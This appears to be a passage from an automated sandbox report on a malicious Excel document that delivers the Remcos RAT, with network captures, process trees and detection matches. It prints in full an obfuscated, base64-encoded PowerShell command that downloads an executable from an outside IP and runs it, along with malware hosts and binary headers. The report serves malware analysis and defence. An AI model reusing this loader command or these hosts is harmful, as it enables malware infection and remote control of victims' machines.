Jul 26, 2024 09:29:59.517616034 CEST	1236	IN	Data Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%
Jul 26, 2024 09:29:59.522723913 CEST	1236	IN	Data Raw: 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 Data Ascii: 25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49167	107.173.143.46	80	3400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:30:07.463278055 CEST	337	OUT	GET /T2507F/csrss.exe HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 107.173.143.46 Connection: Keep-Alive
Jul 26, 2024 09:30:07.961440086 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:30:07 GMT Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28 Last-Modified: Fri, 26 Jul 2024 06:04:08 GMT ETag: "28ca00-61e204785c600" Accept-Ranges: bytes Content-Length: 2673152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/lnk Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 60 0f d7 18 24 6e b9 4b 24 6e b9 4b 24 6e b9 4b e7 ed ba 4a 2d 6e b9 4b e7 ed bd 4a 28 6e b9 4b e7 ed bc 4a 0a 6e b9 4b 2d 16 2a 4b 2a 6e b9 4b 6f 16 b8 4a 2d 6e b9 4b 24 6e b8 4b dc 6e b9 4b e5 12 ba 4a 2f 6e b9 4b e5 12 bc 4a 60 6e b9 4b 24 6e b9 4b 25 6e b9 4b 37 ea b9 4a 25 6e b9 4b 37 ea 46 4b 25 6e b9 4b 37 ea bb 4a 25 6e b9 4b 52 69 63 68 24 6e b9 4b 00 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 6d d0 a2 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 84 13 00 00 42 15 00 00 f8 05 00 c0 8e 06 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$`$nK$nK$nKJ-nKJ(nKJnK-KnKoJ-nK$nKnKJ/nKJ`nK$nK%nK7J%nK7FK%nK7J%nKRich$nKPEdmf"(B@/`%XH%0(&8/<P"T"("@0.texth `.managedq0r `hydrated`.rdata&HJ@@.data&"@.pdata8&:@@.rsrc0(.!@@.reloc</(@B
Jul 26, 2024 09:30:07.961467028 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: HRHRyuHpHSHRyuHpHwSH`SyuHpHrSH[SyuHlpH}SHfSy
Jul 26, 2024 09:30:07.961479902 CEST	1236	IN	Data Raw: 57 6c 0b 00 48 8d 05 40 f5 25 00 48 8b 00 48 8d 0d f6 4f 15 00 83 79 08 01 75 01 c3 48 8b d0 e9 37 6c 0b 00 48 8d 05 28 f5 25 00 48 8b 00 48 8d 0d e6 4f 15 00 83 79 08 01 75 01 c3 48 8b d0 e9 17 6c 0b 00 48 8d 05 10 f5 25 00 48 8b 00 48 8d 0d d6 Data Ascii: WlH@%HHOyuH7lH(%HHOyuHlH%HHOyuHkH%HHOyuHkH%HHOyuHkH%HHOyuHkH%HHOyuHwkH%HHO
Jul 26, 2024 09:30:07.961503983 CEST	1236	IN	Data Raw: 00 83 79 08 01 75 01 c3 48 8b d0 e9 77 67 0b 00 48 8d 05 d0 f2 25 00 48 8b 00 48 8d 0d d6 4e 15 00 83 79 08 01 75 01 c3 48 8b d0 e9 57 67 0b 00 48 8d 05 d0 f2 25 00 48 8b 00 48 8d 0d de 4e 15 00 83 79 08 01 75 01 c3 48 8b d0 e9 37 67 0b 00 48 8d Data Ascii: yuHwgH%HHNyuHWgH%HHNyuH7gH%HHNyuHgH%HHNyuHfH%HHNyuHfHp%HHNyuHfHh%HHNyuHfH
Jul 26, 2024 09:30:07.961515903 CEST	1236	IN	Data Raw: 07 00 4c 8d 05 8a b2 10 00 e9 55 ac 07 00 4c 8d 05 9e b5 10 00 e9 49 ac 07 00 4c 8d 05 d2 c2 10 00 e9 3d ac 07 00 4c 8d 05 66 ca 10 00 e9 31 ac 07 00 4c 8d 05 ca d7 10 00 e9 25 ac 07 00 4c 8d 05 be db 10 00 e9 19 ac 07 00 4c 8d 05 f2 ea 10 00 e9 Data Ascii: LULIL=Lf1L%LLLFLZLLL$LLnLgLW[LdLWHL9L5LLM
Jul 26, 2024 09:30:07.961527109 CEST	1236	IN	Data Raw: 85 c0 74 0b 80 39 00 80 3a 00 e9 e0 e5 06 00 48 8b c1 c3 66 66 66 66 0f 1f 84 00 00 00 00 00 4d 85 c0 74 0b 80 39 00 80 3a 00 e9 a0 11 00 00 48 8b c1 c3 66 66 66 66 0f 1f 84 00 00 00 00 00 4d 85 c0 74 0b 80 39 00 80 3a 00 e9 00 12 00 00 48 8b c1 Data Ascii: t9:HffffMt9:HffffMt9:HffffMt9:HffffHH%H-I;f"&eL%XMIDAD;s$LKHtLA;PsIDHtW
Jul 26, 2024 09:30:07.961539984 CEST	1236	IN	Data Raw: 00 42 80 3c 11 ff 74 18 42 c6 04 11 ff 48 c1 e9 0a 48 03 0d bb 51 26 00 80 39 ff 74 03 c6 01 ff c3 66 66 0f 1f 84 00 00 00 00 00 48 8b 0e 48 89 0f 48 3b 3d 73 51 26 00 72 69 48 3b 3d 72 51 26 00 73 60 4c 8b 1d 91 51 26 00 49 83 fb 00 74 14 4c 8b Data Ascii: B<tBHHQ&9tffHHH;=sQ&riH;=rQ&s`LQ&ItLIMA:uAH;%r6H;%s-HHL?Q&B<tBHH8Q&9tHHD1&eL%XOAML$LQHiLL\$A
Jul 26, 2024 09:30:07.961589098 CEST	1236	IN	Data Raw: 88 00 00 00 0f 94 84 24 d0 00 00 00 f0 83 60 38 ef 49 8b 40 18 48 8b 18 49 8b 40 20 48 8b 28 49 8b 40 28 48 8b 30 49 8b 40 30 48 8b 38 49 8b 40 58 4c 8b 20 49 8b 40 60 4c 8b 28 49 8b 40 68 4c 8b 30 49 8b 40 70 4c 8b 38 66 41 0f 6f b0 90 00 00 00 Data Ascii: $`8I@HI@ H(I@(H0I@0H8I@XL I@`L(I@hL0I@pL8fAofAofEofEofEofEofEofEofEofEo IHxH$ $(L$0H$HJpHtLJhIHBhHBpH$8M@x
Jul 26, 2024 09:30:07.961601019 CEST	1236	IN	Data Raw: 79 49 8b 41 f8 48 89 42 f8 eb 6f 49 83 f8 20 72 41 4c 8b ca 4d 8b d0 4c 2b cb 49 c1 ea 05 0f 1f 44 00 00 48 8b 02 48 83 c2 20 48 89 01 49 8b 44 09 08 48 89 41 08 49 8b 44 09 10 48 89 41 10 4a 8b 44 09 18 48 89 41 18 48 83 c1 20 49 83 ea 01 75 d1 Data Ascii: yIAHBoI rALML+IDHH HIDHAIDHAJDHAH IuAtHHHBHHAHAtHHH;G&H;}G&I=G&H\|$0J<t&HLGHIL+HeG&I=H>G&LIHHL+H
Jul 26, 2024 09:30:07.961611986 CEST	1236	IN	Data Raw: 75 ef 48 8b 15 4e 43 26 00 4c 8d 87 ff ff 1f 00 48 8b 7c 24 30 48 8b cb 48 c1 e9 15 49 c1 e8 15 4c 2b c1 48 03 d1 80 3a ff 74 03 c6 02 ff 48 ff c2 49 83 e8 01 75 ef 48 8b c3 48 83 c4 20 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c Data Ascii: uHNC&LH\|$0HHIL+H:tHIuHH [H\$Ht$WH HH0HHHHAH"4HH3HtWH;uH3Hx(CH;=?&aHn"{HWE3HS
Jul 26, 2024 09:30:07.966567993 CEST	1236	IN	Data Raw: 00 84 c0 74 0d 33 d2 33 c9 44 8d 42 01 e8 a2 4f 06 00 48 8b cb 48 83 c4 20 5b e9 6c 27 00 00 cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 18 48 89 74 24 20 57 48 83 ec 20 48 8b 01 49 8b f1 48 8d 4c 24 30 48 89 44 24 30 49 8b f8 8b da e8 e7 2f Data Ascii: t33DBOHH [l'H\$Ht$ WH HIHL$0HD$0I/,HLD$8tnL$8HH\$@H3HHt$HH _H\$WH H@2;/HH0thHHu{u{u{uCHK@<uy%uHcAHDH\$0H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49169	178.237.33.50	80	3660	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:30:19.592058897 CEST	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Jul 26, 2024 09:30:20.216634989 CEST	1170	IN	HTTP/1.1 200 OK date: Fri, 26 Jul 2024 07:30:20 GMT server: Apache content-length: 962 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f [TRUNCATED] Data Ascii: { "geoplugin_request":"8.46.123.33", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49172	188.114.96.3	80	3828	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:30:22.289392948 CEST	344	OUT	GET /jjJsPX HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: tny.wtf Connection: Keep-Alive
Jul 26, 2024 09:30:23.426986933 CEST	608	IN	HTTP/1.1 302 Found Date: Fri, 26 Jul 2024 07:30:23 GMT Transfer-Encoding: chunked Connection: keep-alive Location: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LTl6vqjMXS0Se1ergAjxKhzwPfM0KPVYmfECZ8LPWfnYaYvfbbkLbAka8BggID1VkIU7D94GIIQ6ISCCqOj131%2Fxx8WgPhdUsMznifPS6v8myzyNrNiV9EXp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a92af1bfb7b8ce2-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:29:33
Start date:	26/07/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f240000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	03:29:56
Start date:	26/07/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13fda0000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:30:00
Start date:	26/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Imagebase:	0x4a820000
File size:	345'088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:30:00
Start date:	26/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Imagebase:	0x13fa90000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:30:05
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline"
Imagebase:	0x13f4d0000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:30:05
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC41B.tmp" "c:\Users\user\AppData\Local\Temp\ofvwqfjd\CSC42CCF8E8871B428699CAD148D9BC26FF.TMP"
Imagebase:	0x13fc30000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:30:12
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\winiti.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\winiti.exe"
Imagebase:	0x13fdd0000
File size:	2'673'152 bytes
MD5 hash:	4FB3E6E7B8F9C12CD2D5E161F7B94760
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:30:13
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Imagebase:	0x1120000
File size:	41'112 bytes
MD5 hash:	AF862061889F5B9B956E9469DCDAE773
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000D.00000002.843116352.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	03:30:20
Start date:	26/07/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13f540000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:30:22
Start date:	26/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Imagebase:	0x4a8f0000
File size:	345'088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: powershell.exePID: 3936, Parent PID: 3912

General

Target ID:	19
Start time:	03:30:22
Start date:	26/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI